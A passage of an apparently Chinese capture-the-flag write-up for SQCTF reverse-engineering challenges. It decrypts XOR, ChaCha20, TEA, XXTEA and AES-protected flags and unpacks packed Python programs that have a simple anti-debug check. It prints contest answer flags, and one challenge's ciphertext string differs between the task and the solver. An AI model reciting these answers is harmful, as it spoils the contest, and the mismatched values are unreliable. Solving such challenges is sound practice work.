            sb.append(part);
        }
        return sb.toString();
    }

    private String buildFlag(String password) {
        return "SQCTF{i_am_a_" + password + FLAG_SUFFIX;
    }
}

getEncryptedPassword() 方法将 ENCRYPTED_PARTS 数组中的字符串连接起来。

ENCRYPTED_PARTS 是 {"5", "#", ")", "7", "5", "#", ")", "7"}。

所以,getEncryptedPassword() 返回的加密字符串是 "5#)75#)7"。

分析解密过程:

decryptPassword() 方法获取加密字符串 "5#)75#)7"。 它遍历这个字符串的每个字符 c。

对每个字符 c 执行 (char) (c ^ 'B') 操作。这是一个按位异或 (XOR) 操作。

'B' 的 ASCII 值是 66。

我们需要对加密字符串中的每个字符的 ASCII 值与 66 进行 XOR 运算:

'5' (ASCII 53) ^ 66 = 119 (ASCII 'w')

'#' (ASCII 35) ^ 66 = 97 (ASCII 'a')

')' (ASCII 41) ^ 66 = 107 (ASCII 'k')

'7' (ASCII 55) ^ 66 = 117 (ASCII 'u')

'5' (ASCII 53) ^ 66 = 119 (ASCII 'w')

'#' (ASCII 35) ^ 66 = 97 (ASCII 'a')

')' (ASCII 41) ^ 66 = 107 (ASCII 'k')

'7' (ASCII 55) ^ 66 = 117 (ASCII 'u')

将这些解密后的字符组合起来得到解密后的密码。

得出密码:

解密后的密码是 "wakuwaku"。

验证过程:

checkPassword(String input) 方法比较用户输入 input 是否等于 decryptPassword() 的结果

(即 "wakuwaku")。

如果输入是 "wakuwaku",checkPassword 返回 true。

  1. 构建 Flag:

如果 checkPassword 返回 true,程序会调用 buildFlag(userInput)。

buildFlag(String password) 方法返回 "SQCTF{i_am_a_" + password + "}"。 将正确的密码 "wakuwaku" 代入:"SQCTF{i_am_a_wakuwaku}"。

payload

import sys

# 1. 从 Java 代码中提取加密部分
encrypted_parts = ["5", "#", ")", "7", "5", "#", ")", "7"]

# 2. 将加密部分连接成一个字符串
encrypted_string = "".join(encrypted_parts)

# 3. 从 Java 代码中提取 XOR 密钥 ('B')
#    在 Python 中,我们可以直接使用字符或其 ASCII 值
xor_key_char = 'B'
#    获取密钥的 ASCII 值 (ord)
xor_key_ord = ord(xor_key_char) # ord('B') 结果是 66

# 4. 执行解密 (XOR 操作)
decrypted_password = ""
for char_encrypted in encrypted_string:
    # 获取加密字符的 ASCII 值
    char_encrypted_ord = ord(char_encrypted)
    # 执行 XOR 运算
    char_decrypted_ord = char_encrypted_ord ^ xor_key_ord
    # 将解密后的 ASCII 值转换回字符
    decrypted_password += chr(char_decrypted_ord)

# 5. 构建 Flag
flag_prefix = "SQCTF{"
flag_suffix = "}"
flag_body = f"i_am_a_{decrypted_password}" # 使用解密得到的密码
flag = f"{flag_prefix}{flag_body}{flag_suffix}"

# 6. 打印结果
print(f"Encrypted String : {encrypted_string}")
print(f"XOR Key (char)   : '{xor_key_char}'")
print(f"XOR Key (ASCII)  : {xor_key_ord}")
print("-" * 20)
print(f"Decrypted Password: {decrypted_password}")
print(f"Constructed Flag : {flag}")





人生自古谁无死

加密逻辑

handle_strings 函数执行了以下关键步骤来构建一个 64 字节的 ChaCha20 状态(存储在以 rbp 为基址的内存中),这个状态包含了 Key 和 Nonce:

常量: 使用 memcpy 从全局变量 g_obf1 (expand 32-byte k) 复制前 16 字节到状态的开头。这是 ChaCha20 的标准常量。

密钥 (Key) 生成: 通过一个循环 (地址 0x401B73 到 0x401BB6),使用全局变量 g_obf2 (其实际字节值为 DE AD BE EF) 和循环变量 i (0 到 31) 计算生成 32 字节的密钥。计算公式为 key[i]

= ((i + 17) ^ g_obf2[i % 4]) & 0xFF。

计数器 (Counter): 将状态中对应的 4 字节设置为 0 (mov [rbp+90h+var_60], 0)。

随机数 (Nonce) 生成: 通过另一个循环 (地址 0x401BF2 到 0x401C1C),使用循环变量 j (0 到

11) 计算生成 12 字节的 Nonce。计算公式为 nonce[j] = (j * 17) & 0xFF。

程序启动,在 handle_strings 中计算出特定的 32 字节 Key 和 12 字节 Nonce。

程序(可能在未显示的代码部分,或者 handle_strings 之后,也可能就是 handle_strings 中对

"小" 的加密被复用了,但目标换成了flag)获取 flag1 的 plaintext。

调用 secure_encrypt,传入计算好的 Key/Nonce 构成的状态 (Counter=0) 和 flag1 plaintext。 secure_encrypt 调用 process_block 生成 64 字节密钥流。

secure_encrypt 将 flag1 plaintext 与密钥流的前 N 字节(N=flag1 长度)进行 XOR,得到 1.enc 的密文内容,并写入文件。

对 flag2 重复上述过程,使用相同的 Key 和 Nonce,Counter 重新从 0 开始,生成相同的初始密钥流,与 flag2 plaintext 进行 XOR,得到 2.enc 的密文内容,并写入文件。

  1. 解密:

实现 Nonce 计算:nonce[j] = (j * 17) & 0xFF (j=0..11)。

实现 Key 计算:key[i] = ((i + 17) ^ g_obf2[i % 4]) & 0xFF (i=0..31)。 得到 32 字节的 key 和 12 字节的 nonce。

生成密钥流:

使用上一步得到的 key 和 nonce,以及 Counter 设置为 0,初始化 ChaCha20 算法。

调用 ChaCha20 算法(例如 Python 的 Crypto.Cipher.ChaCha20 或模拟 process_block)生成第一个 64 字节的密钥流块。

  1. 解密 1.enc:

读取 1.enc 的全部内容(密文)。设其长度为 L1 (30 字节)。 取出上一步生成的密钥流的前 L1 个字节。

将 1.enc 的密文与这 L1 字节的密钥流逐字节进行 XOR 操作。 得到的结果就是 flag1 的明文。

  1. 解密 2.enc:

读取 2.enc 的全部内容(密文)。设其长度为 L2 (25 字节)。

重要: 再次使用步骤 3 生成的同一个 64 字节密钥流块(因为加密 flag2 时 Counter 也是从 0

开始的)。

取出该密钥流块的前 L2 个字节。

将 2.enc 的密文与这 L2 字节的密钥流逐字节进行 XOR 操作。 得到的结果就是 flag2 的明文。

from Crypto.Cipher import ChaCha20
import struct

# --- 1. 从二进制文件中提取/确定的数据 ---
G_OBF1_CONST = b'expand 32-byte k' # ChaCha20 constant (first 16 bytes)
G_OBF2_BYTES = b'\xDE\xAD\xBE\xEF' # Actual bytes from .data segment <--- UPDATED!

# --- 2. 模拟 handle_strings 的 Key 和 Nonce 生成 ---
key = bytearray(32)
# 模拟 key 生成循环 (loc_401B73 - loc_401BB6)
# print("Generating Key:") # Optional debug prints
for i in range(32):
    idx = i % 4
    val = G_OBF2_BYTES[idx]
    key_byte = ((i + 0x11) ^ val) & 0xFF # Calculate (i + 17) XOR val
    key[i] = key_byte
    # print(f"i={i:02d}, idx={idx}, val=0x{val:02X}, i+17=0x{i+17:02X}, key_byte=0x{key_byte:02X}")

nonce = bytearray(12)
# 模拟 nonce 生成循环 (loc_401BF2 - loc_401C1C)
# print("\nGenerating Nonce:") # Optional debug prints
for j in range(12):
    nonce_byte = (j * 17) & 0xFF # Calculate j * 17
    nonce[j] = nonce_byte
    # print(f"j={j:02d}, nonce_byte=0x{nonce_byte:02X}")

# counter = b'\x00\x00\x00\x00' # 计数器为 0 (ChaCha20 库通常默认)

print(f"\nDerived Key: {key.hex()}")
print(f"Derived Nonce: {nonce.hex()}") # Should be 00112233445566778899aabb

# --- 3. 读取加密文件 ---
try:
    with open("1.enc", "rb") as f1:
        ciphertext1 = f1.read()
    with open("2.enc", "rb") as f2:
        ciphertext2 = f2.read()
except FileNotFoundError:
    print("\nError: 1.enc or 2.enc not found in the current directory.")
    exit()

if not ciphertext1 or not ciphertext2:
    print("\nError: 1.enc or 2.enc is empty.")
    exit()


# --- 4. 使用 ChaCha20 解密 ---
plaintext1 = b""
plaintext2 = b""
try:
    # 解密 1.enc
    cipher1 = ChaCha20.new(key=key, nonce=nonce) # Default counter is 0
    plaintext1 = cipher1.decrypt(ciphertext1)

    # 解密 2.enc (必须重新创建 cipher 或重置状态)
    cipher2 = ChaCha20.new(key=key, nonce=nonce) # Reuse key/nonce, counter resets to 0
    plaintext2 = cipher2.decrypt(ciphertext2)

except Exception as e:
     print(f"\nError during decryption: {e}")
     print("Make sure PyCryptodome is installed (`pip install pycryptodomex`)")
     exit()

# --- 5. 输出结果 ---
print("\n--- Decryption Results ---")
try:
    print("\nDecrypted 1.enc:")
    # Try decoding as UTF-8 first, common for flags
    decoded1 = plaintext1.decode('utf-8')
    print(f"UTF-8 Decoded: {decoded1}")
except UnicodeDecodeError:
    print(f"Could not decode 1.enc as UTF-8.")
    # Optionally try other encodings like ascii or show raw bytes
    try:
        print(f"ASCII Decoded: {plaintext1.decode('ascii', errors='ignore')}")
    except:
        pass
finally:
     print(f"Raw bytes: {plaintext1.hex()}")


try:
    print("\nDecrypted 2.enc:")
    decoded2 = plaintext2.decode('utf-8')
    print(f"UTF-8 Decoded: {decoded2}")
except UnicodeDecodeError:
    print(f"Could not decode 2.enc as UTF-8.")
    try:
        print(f"ASCII Decoded: {plaintext2.decode('ascii', errors='ignore')}")
    except:
        pass
finally:
    print(f"Raw bytes: {plaintext2.hex()}")


春风也有春风愁

小端序 (Little-Endian) 字节推导:

  1. mov [rbp+var_1D], rax (rax = 0FBF715FA08FD0B0Dh)

存入 v6[0] 到 v6\7] 的字节是: 0D 0B FD 08 FA 15 F7 FB

  1. mov [rbp+var_1D+7], rax (rax = 0F0E011431130DFBh)

存入 v6[7] 到 v6[14] 的字节是: FB 0D 13 31 14 01 0E 0F

组合并覆盖,得到最终的 v6 数组:

v6 = [0x0D, 0x0B, 0xFD, 0x08, 0xFA, 0x15, 0xF7, 0xFB, 0x0D, 0x13, 0x31, 0x14, 0x01, 0x0E, 0x0F]

进行逆向计算 (v6[i] - 55) ^ 0xA5:


#  *(_QWORD *)v6 = 0xFBF715FA08FD0B0Dui64;
#  *(_QWORD *)&v6[7] = 0xF0E011431130DFBi64;

target_bytes = [0x0D, 0x0B, 0xFD, 0x08, 0xFA, 0x15, 0xF7, 0xFB, 0x0D, 0x13, 0x31, 0x14, 0x01, 0x0E, 0x0F]

# 逆向计算 flag: chr(((字节 - 55) % 256) ^ 0xA5)
flag = ''.join([chr(((b - 55) % 256) ^ 0xA5) for b in target_bytes])

print(flag)

你若安好便是晴

  1. sub_100 (_Z7sub_100Pci) 汇编分析:

完全符合之前的 C 代码:

接收 char* (rcx) 和 int (edx) 作为参数。 调用 strlen 获取长度。

循环从 0 到 length - 1。

在循环中,计算 a1[i] 的地址,读取字节,与参数 edx (也就是 0x16) 进行 XOR,然后写回 a1[i]。

结论: sub_100 的 C 代码反编译是准确的。它执行基于 strlen 的按字节 XOR 0x16。

  1. sub_101 (Z7sub_101PjS) 汇编分析:

完全符合标准的 TEA 解密:

接收 uint* (rcx) 和 uint* (rdx)。 初始化 v0, v1。

初始化 sum = 0xC6EF3720。

循环 32 次 (cmp [rbp+var_10], 1Fh ; jbe ...)。

循环体内的运算精确匹配 TEA 解密的两个核心公式。

每次循环 sum 递减 delta (mov eax, [rbp+var_14] ; sub [rbp+var_C], eax),其中 delta 为 0x9E3779B9。

最后将解密后的 v0, v1 写回内存。

结论: sub_101 的 C 代码反编译是准确的(除了原始 C 中 sum 是 +=,但效果等价,汇编中是标准的 -=)。它是 TEA 解密。

  1. sub_102 (_Z7sub_102Pc) 汇编分析:

这里的汇编与之前的 C 代码几Ⓖ一致,但有一个关键细节:

.text:0000000000401688 movzx eax, byte ptr [rax]:从 a1[len-1] 加载最后一个字节到 al,并零扩展到 eax。

.text:000000000040168B movsx eax, al:将 al 中的字节符号扩展到 eax。如果最后一个字节 >= 0x80(即最高位为1),eax 会变成一个负数(32位补码)。

.text:0000000000401694 sub eax, [rbp+var_8]:用原始长度 len 减去这个符号扩展后的值。

.text:00000000004016A1 mov byte ptr [rax], 0:在计算出的地址写入 \0。

与 C 代码对比: C 代码 a1[v2 - 1] 的隐式转换行为依赖于编译器默认 char 是 signed 还是

unsigned。而汇编 movsx 明确指定了符号扩展。

对本次执行的影响:

TEA 解密结果最后一个字节是 0x29。

movzx eax, byte ptr [rax] -> eax = 0x00000029。

movsx eax, al -> eax = 0x00000029 (因为 0x29 的最高位是 0,符号扩展不变)。 sub eax, [rbp+var_8] -> eax = 32 - 41 = -9。

最终还是尝试写入 a1[-9],导致未定义行为。

结论: 虽然汇编和 C 代码在处理最后一个字节的扩展方式上存在细微差别(汇编强制符号扩展),但对于当前输入 0x29,两者行为一致,都导致了无效内存访问。IDA 对此函数的反编译 C 代码在这种情况下是“幸运地”正确的。

  1. main 汇编分析:

大部分与 C 代码一致:复制字符串、strlen、十六进制转换 (sscanf 循环)、添加 \0、循环调用 sub_101、调用 sub_102、设置 0x16 (16h)、调用 sub_100。

!!! 关键发现:TEA 密钥常量不同 !!!

.text:00000000004017F6 mov [rbp+60h+var_70], 12345678h (key[0] - OK) .text:00000000004017FD mov [rbp+60h+var_6C], 87654321h (key[1] - OK)

.text:0000000000401804 mov [rbp+60h+var_68], 0ABCDEF98h (key[2] - 不同! C 代码是

...88h)

.text:000000000040180B mov [rbp+60h+var_64], 98FEDCBAh (key[3] - 不同! C 代码是

...FAh)

结论: IDA 反编译 main 函数时,未能正确地将内存中的常量 0ABCDEF98h 和 98FEDCBAh 转换回 C 代码中对应的负数 -1412567144 (应为 ...88h) 和 -1728127814 (应为 ...FAh)。我们必须使用汇编代码中实际加载的密钥值来进行解密!

最终的正确解密流程(基于汇编):

  1. Hex -> Binary: 7f1f...f2d1 -> 32 字节二进制。
  2. TEA Decrypt (sub_101): 使用正确的密钥: { 0x12345678, 0x87654321, 0xABCDEF98,

0x98FEDCBA } 对这 32 字节进行解密。

  1. Call sub_102: 调用此函数。由于解密后的数据(很可能)最后一个字节仍然会导致无效的地址计算 (-9),此函数调用实际上不会修改数据(或导致程序崩溃)。
  2. Byte XOR (sub_100): 对第 2 步 TEA 解密后的 32 字节数据,执行按字节与 0x16 的异或。
  3. 得到的结果就是最终答案。

总的来说就是根据汇编在写一遍加密流程

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

// TEA解密函数 (v: 数据块, k: 密钥)
void tea_decrypt(uint32_t *v, const uint32_t *k) {
	uint32_t v0 = v[0], v1 = v[1];
	// 使用汇编确认的 sum -= delta 逻辑
	uint32_t sum = 0xC6EF3720; // delta * 32
	const uint32_t delta = 0x9E3779B9;
	uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	int i;
	
	for (i = 0; i < 32; i++) { // 32 轮
		v1 -= (((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3));
		v0 -= (((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1));
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

// 模拟 sub_100 (按字节 XOR)
// 操作指定长度的数据
void sub_100_xor_byte(uint8_t *data, size_t len, uint8_t key) {
	for (size_t i = 0; i < len; ++i) {
		data[i] ^= key;
	}
}

// 辅助函数:将2个十六进制字符转换为一个字节
int hex_to_byte(const char *hex, uint8_t *byte) {
	char byte_str[3] = {0};
	byte_str[0] = hex[0];
	byte_str[1] = hex[1];
	char *endptr;
	long val = strtol(byte_str, &endptr, 16);
	if (*endptr != '\0' || val < 0 || val > 255) {
		return 0; // 转换失败
	}
	*byte = (uint8_t)val;
	return 1; // 成功
}

int main() {
	const char *hex_ciphertext = "7f1f17fd8e51aa660b8036914a4950e8fa8078a2ef33608650fb7a845226f2d1";
	// 使用从 main 汇编中确认的正确密钥!
	const uint32_t key[4] = {
		0x12345678, // v6[0]
		0x87654321, // v6[1]
		0xABCDEF98, // v6[2] <-- 从汇编修正
		0x98FEDCBA  // v6[3] <-- 从汇编修正
	};
	
	printf("Using Correct Key from Assembly: {0x%08x, 0x%08x, 0x%08x, 0x%08x}\n\n",
		key[0], key[1], key[2], key[3]);
	
	size_t hex_len = strlen(hex_ciphertext);
	if (hex_len % 2 != 0) {
		fprintf(stderr, "Error: Hex string length must be even.\n");
		return 1;
	}
	size_t binary_len = hex_len / 2; // 应该是 32
	
	if (binary_len != 32) {
		fprintf(stderr, "Error: Expected binary data length of 32 for this specific problem.\n");
		return 1;
	}
	// +1 用于可能的字符串打印
	uint8_t binary_data[binary_len + 1];
	
	// 1. 十六进制转二进制
	printf("Converting hex string to binary...\n");
	for (size_t i = 0; i < binary_len; ++i) {
		if (!hex_to_byte(&hex_ciphertext[i * 2], &binary_data[i])) {
			fprintf(stderr, "Error converting hex to byte at index %zu\n", i * 2);
			return 1;
		}
	}
	printf("Initial Binary data (hex): ");
	for(size_t i = 0; i < binary_len; ++i) {
		printf("%02x", binary_data[i]);
	}
	printf("\n");
	
	// 2. 使用 TEA 解密 (sub_101) - 使用正确的密钥
	printf("Step 1: Decrypting using TEA (sub_101) with CORRECT key...\n");
	for (size_t j = 0; j < binary_len; j += 8) {
		uint32_t *data_block = (uint32_t *)&binary_data[j];
		tea_decrypt(data_block, key);
	}
	printf("After TEA Decrypt (hex):   ");
	for(size_t i = 0; i < binary_len; ++i) {
		printf("%02x", binary_data[i]);
	}
	printf("\n");
	
	// 3. 模拟调用 sub_102
	printf("Step 2: Simulating sub_102 call...\n");
	// 假设解密后的最后一个字节仍然会导致 sub_102 失败或行为未定义
	// 并且不会修改缓冲区 (这是最可能的情况)
	printf("       Assuming sub_102 still fails due to last byte and doesn't modify data.\n");
	
	
	// 4. 执行 sub_100 的操作 (按字节 XOR 0x16)
	uint8_t xor_key = 0x16; // 22
	printf("Step 3: Performing byte XOR with 0x%02x (sub_100)...\n", xor_key);
	// 操作 TEA 解密的结果
	sub_100_xor_byte(binary_data, binary_len, xor_key);
	
	
	// 5. 输出最终结果
	binary_data[binary_len] = '\0'; // 添加 null 终止符用于打印
	
	printf("\nFinal Result (Using Correct Key):\n");
	printf("  As String: %s\n", (char*)binary_data); // 可能仍然是乱码
	printf("  As Hex:    ");
	for (size_t i = 0; i < binary_len; ++i) { // 打印 32 字节
		printf("%02x", binary_data[i]);
	}
	printf("\n");
	
	return 0;
}

因为是加密出来的flag所以还有第二种解法第二种解法动态调试


8地址上的值

点str看v

天下谁人不识君


flag = 'SQCTF{xxxxxxxxxxxxxx}'
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = ''
for i in range(len(flag)):
    s1 = ord(flag[i])//17
    s2 = ord(flag[i])%17
    result += s[(s1+i)%34]+s[-(s2+i+1)%34]
print(result)
# result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'

反推

# 已知数据
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3b1ioa$h4h5j0jhkh161h79393i5x010j0y8n$i'
N = len(s) # 字符串 s 的长度 (34)
flag = ''  # 用于存储恢复的 flag

# 遍历 result 字符串,每次取两个字符进行处理
for i in range(len(result) // 2):
    # 获取 result 中对应的两个字符的索引
    idx1 = s.find(result[2*i])
    idx2 = s.find(result[2*i+1])

    # 根据公式反推 s1 (原始 ASCII // 17)
    s1 = (idx1 - i) % N
    # 根据公式反推 s2 (原始 ASCII % 17)
    # 注意: s2 必须在 [0, 16] 范围内。此处的计算直接得到模 N 下的值
    s2 = (-idx2 - i - 1) % N

    # 通过 s1 和 s2 重构原始字符的 ASCII 值
    # 原始 ASCII = s1 * 17 + s2
    char_ord = s1 * 17 + s2
    # 将 ASCII 值转换为字符并拼接到 flag
    flag += chr(char_ord)

# 打印最终推导出的 flag
print(f"推导出的 Flag: {flag}")

不劳春风解我忧


程序的核心是对输入进行 XXTEA 加密。

我们知道加密后的目标结果是两个 32 位整数:0x8F748963 和 0xCB1D96A8。

加密使用的密钥是固定的:[0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x87654321]。

程序检查 v8 == 2,这意味着加密/解密处理的是 2 个 32 位整数(共 8 字节)。使用已知的密文、密钥和块数执行 XXTEA 解密操作。

XXTEA 操作的是整数。由于 C 代码在 x86/x64(小端序)上运行,memcpy 和类型转换意味着内存中的字节被按小端序解释为整数。因此,解密得到的整数需要按小端序转换回字节。

import struct

# XXTEA 常量
DELTA = 0x9E3779B9
MASK = 0xFFFFFFFF

def xxtea_decrypt(v, n, key):
    """XXTEA 解密函数"""
    rounds = 52 // n + 6
    sum_val = (rounds * DELTA) & MASK
    y = v[0]
    for _ in range(rounds):
        e = (sum_val >> 2) & 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            v[p] = (v[p] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_val ^ y) + (key[(p & 3) ^ e] ^ z)))) & MASK
            y = v[p]
        z = v[n - 1]
        v[0] = (v[0] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum_val ^ y) + (key[(0 & 3) ^ e] ^ z)))) & MASK
        y = v[0]
        sum_val = (sum_val - DELTA) & MASK
    return v

# --- 输入参数 ---
# 目标密文 (小端序整数表示)
target_ciphertext_signed = [-1888188061, -887253336]
target_ciphertext = [c & MASK for c in target_ciphertext_signed]

# 密钥 (小端序整数表示)
key_signed = [305419896, -1698898192, -19088744, -2023406815]
key = [k & MASK for k in key_signed]

# 数据块数量
n = 2

# --- 执行解密与转换 ---
decrypted_uint32 = xxtea_decrypt(list(target_ciphertext), n, key)

# 将解密后的整数按小端序 ('<') 转换回字节
# '<II' 表示两个小端序无符号整数
flag_bytes = struct.pack('<II', *decrypted_uint32)

# 将字节解码为字符串
flag = flag_bytes.decode('ascii')

# --- 输出结果 ---
print(f"解密后的整数 (hex): {[hex(d) for d in decrypted_uint32]}")
print(f"还原的 Flag 字节: {flag_bytes}")
print(f"最终 Flag: {flag}")


即随本心

python打包程序,解包,反编译pyc(高版本python使用高版本的反编译pyc)

# Internal filename: aes题目加强反调试.py
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def is_debugging():
    if sys.gettrace() is not None:
        print('检测到调试器,程序终止。')
        sys.exit(1)
is_debugging()
key = b'1234567890abcdef'
iv = b'1234567890abcdef'
cipher = AES.new(key, AES.MODE_CBC, iv)
user_input = input('请输入你的flag(格式:SQCTF{...}):')
plaintext = user_input.encode('utf-8')
padded_data = pad(plaintext, AES.block_size)
ciphertext = cipher.encrypt(padded_data)
encrypted_data = base64.b64encode(iv + ciphertext).decode('utf-8')
expected_encrypted_data = 'MTIzNDU2Nzg5MGFiY2RlZpOn0SHxbVMvaa7jQztMCBtCCiuX+ZRBzSfcL01St5Bmi8BjGeuXliictrjqzSpCGw=='
if encrypted_data == expected_encrypted_data:
    print('密文匹配,正确!')
else:
    print('密文不匹配,错误!')

加密流程:

使用 AES 算法。

模式为 CBC (Cipher Block Chaining)。

密钥 (key) 和 初始向量 (IV) 都是固定的 b'1234567890abcdef'。 输入字符串先进行 UTF-8 编码。

编码后的数据使用 PKCS#7 填充 (这是 Crypto.Util.Padding.pad 的默认行为) 到16字节的倍数。

使用 AES-CBC 进行加密。

将 原始的IV 与 加密后的密文 拼接在一起。

对拼接后的二进制数据进行 Base64 编码,得到最终结果。解密是加密的逆过程:

  1. Base64 解码: 将 expected_encrypted_data 字符串进行 Base64 解码,得到二进制数据。
  2. 分离 IV 和密文: 解码后的二进制数据是 IV + 密文。由于我们知道 IV 的长度是16字节(AES块大小),取出前16字节作为解密要用的 iv,剩下的部分就是真正的 ciphertext。
  3. 创建解密器: 使用相同的 key、AES.MODE_CBC 和 上一步分离出来的 iv 创建一个 AES 解密对象。
  4. 解密: 使用解密器解密 ciphertext。
  5. 去除填充: 对解密后的数据使用 unpad 函数(同样来自 Crypto.Util.Padding,指定块大小为16)移除填充字节。
  6. UTF-8 解码: 将去除填充后的字节串使用 UTF-8 解码,得到原始的 flag 字符串。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 已知信息
key = b'1234567890abcdef'
expected_encrypted_data = 'MTIzNDU2Nzg5MGFiY2RlZpOn0SHxbVMvaa7jQztMCBtCCiuX+ZRBzSfcL01St5Bmi8BjGeuXliictrjqzSpCGw=='

# 1. Base64 解码 & 分离 IV 和密文
decoded_data = base64.b64decode(expected_encrypted_data)
iv = decoded_data[:16]  # 前 16 字节是 IV
ciphertext = decoded_data[16:] # 剩下的是密文

# 2. 创建解密器 & 解密 & 去除填充
cipher_decrypt = AES.new(key, AES.MODE_CBC, iv)
plaintext_bytes = unpad(cipher_decrypt.decrypt(ciphertext), AES.block_size)

# 3. UTF-8 解码 & 输出结果
flag = plaintext_bytes.decode('utf-8')
print(f"解密得到的 Flag 是: {flag}")

唧唧复唧唧,木兰当户织

反编译后直接base64解密

看山不是山

python打包程序,解包,反编译pyc

# Version : Python 3.10


def encrypt(data):
    result = []
    key = 439041101
    for i in range(len(data)):
        byte = data[i]
        byte = (byte ^ key >> (i % 4) * 8) & 255
        byte = byte + i & 255
        result.append(byte)
    return bytes(result)


def check(data):
    target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')
    if len(data) != 16:
        return False
    encrypted = None(data)
    return encrypted == target

代码分析

  1. encrypt 函数:

接收一个字节串 data。

使用一个固定的整数 key = 439041101。

对 data 中的每个字节 byte,按索引 i 进行处理:

XOR 操作: byte 与 key 中的一个字节进行异或。key 的字节通过 key >> (i % 4) * 8 循环选取(即 key 的第 0, 1, 2, 3 个字节循环使用)。

加法操作: 上一步的结果与当前索引 i 相加(模 256)。 返回处理后的字节串。

  1. check 函数: 验证输入 data 的长度是否为 16,然后调用 encrypt(data) 并与 target 比较。

解题思路

  1. 逆转加法: 加密的最后一步是 (xor_result + i) & 255。逆操作是从加密后的字节 encrypted_byte 中减去索引 i(模 256),得到异或结果 xor_result。

xor_result = (encrypted_byte - i) & 255

  1. 逆转 XOR: 加密的第一步是 (plain_byte ^ key_byte) & 255。XOR 的逆操作是与相同的值再次进行

XOR。我们需要计算出加密时使用的 key_byte,然后与 xor_result 进行 XOR 得到原始字节 plain_byte。

key_byte = (key >> (i % 4) * 8) & 255 (与加密时计算方式相同)

plain_byte = (xor_result ^ key_byte) & 255

def decrypt(encrypted_data):
    """解密函数,执行加密的逆操作"""
    result = []
    key = 439041101
    for i, encrypted_byte in enumerate(encrypted_data):
        # 1. 逆转加法:减去索引 i (模 256)
        xor_result = (encrypted_byte - i) & 255
        # 2. 计算加密时使用的 key_byte
        key_byte = (key >> (i % 4) * 8) & 255
        # 3. 逆转 XOR:与相同的 key_byte 进行 XOR
        plain_byte = (xor_result ^ key_byte) & 255
        result.append(plain_byte)
    return bytes(result)

# 目标加密结果
target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')

# 执行解密
original_data = decrypt(target)

# 输出解密后的原始数据 (通常以 hex 或 utf-8 形式查看)
print(f"Decrypted data (hex): {original_data.hex()}")
try:
    print(f"Decrypted data (utf-8): {original_data.decode('utf-8')}")
except UnicodeDecodeError:
    print("Decrypted data is not valid UTF-8.")

击败abyssun

发现依然是python打包的,python解包,pyc反编译(高版本python)

# Internal filename: game2.py

import jieba
import os
import sys
import math
import random
import pygame
import datetime
from pygame.locals import *
import sys

def is_debugging():
    if sys.gettrace() is not None:
        print('检测到调试器,程序终止。')
        sys.exit(1)
is_debugging()

class Player(object):
    def __init__(self, img, rect, speed):
        self.ful_img = img
        self.img = self.ful_img
        self.rect = rect
        self.speed = speed
        self.num = 0

    def update(self, screen, press_keys):
        if press_keys[K_a]:
            self.rect.left -= self.speed
            if self.rect.left <= 0:
                self.rect.left = 0
        if press_keys[K_d]:
            self.rect.left += self.speed
            if self.rect.right >= 250:
                self.rect.right = 250
        if press_keys[K_w]:
            self.rect.top -= self.speed
            if self.rect.top <= 0:
                self.rect.top = 0
        if press_keys[K_s]:
            self.rect.top += self.speed
            if self.rect.bottom >= 800:
                self.rect.bottom = 800
        self.num += 1
        if self.num % 3 == 0:
            self.num = 0
        return ([(self.rect.left + self.rect.right) / 2, (self.rect.top + self.rect.bottom) / 2], self.img)
if __name__ == '__main__':
    white = (255, 255, 255)
    screen_width, screen_height = (1368, 800)
    os.environ['SDL_VIDEO_CENTERED'] = '1'
    screen = pygame.display.set_mode((screen_width, screen_height))
    pygame.display.set_caption('Python_Game')
    pygame.init()
    pygame.font.init()
    font = pygame.font.SysFont('SimHei', 32)
    start = 0
    win = 0
    running = 0
    distance = 200
    health_value = 194
    pass
    health_value_max = 194
    fin_time = 200
    start_time = datetime.datetime.now()
    rect_player = Rect(50, 50, 133, 142)
    player_speed = 2
    player_pos = []
    monsters = []
    monster_speed = 1
    wave_set = []
    wave_speed = 1.5
    wave_max = 2
    paper = pygame.image.load('assets/paper.jpg').convert_alpha()
    paper = pygame.transform.scale(paper, (1368, 800))
    wall = pygame.image.load('assets/walls.png').convert_alpha()
    wall_width = wall.get_width()
    wall_height = wall.get_height()
    player = pygame.image.load('assets/beggers.png').convert_alpha()
    player_width = player.get_width()
    player_height = player.get_height()
    waves = pygame.image.load('assets/waves.png').convert_alpha()
    sub_wave = waves.subsurface(Rect((0, 0), (waves.get_width() / 5, waves.get_height())))
    sub_wave_width = sub_wave.get_width()
    sub_wave_height = sub_wave.get_height()
    monster_img1 = pygame.image.load('assets/monster1.png').convert_alpha()
    monster_width = monster_img1.get_width()
    monster_height = monster_img1.get_height()
    monster_img = monster_img1
    health_bar_img = pygame.image.load('assets/health.png')
    health_bar_height = health_bar_img.get_height()
    health_img = pygame.image.load('assets/health.png')
    health_height = health_img.get_height()
    victory = pygame.image.load('assets/victory.jpg')
    victory = pygame.transform.scale(victory, (1368, 800))
    game_over = pygame.image.load('assets/game_over.jpg')
    game_over = pygame.transform.scale(game_over, (1368, 800))
    start_img = pygame.image.load('assets/start.jpg').convert_alpha()
    while not start:
        screen.fill(white)
        screen.blit(start_img, (0, 0))
        text = font.render('按空格开始游戏!', True, (250, 50, 200))
        text_Rect = text.get_rect()
        text_Rect.centerx = screen.get_rect().centerx
        text_Rect.centery = screen.get_rect().centery + 200
        screen.blit(text, text_Rect)
        pygame.display.flip()
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
            if event.type == pygame.KEYDOWN and event.key == K_SPACE:
                start = 1
                running = 1
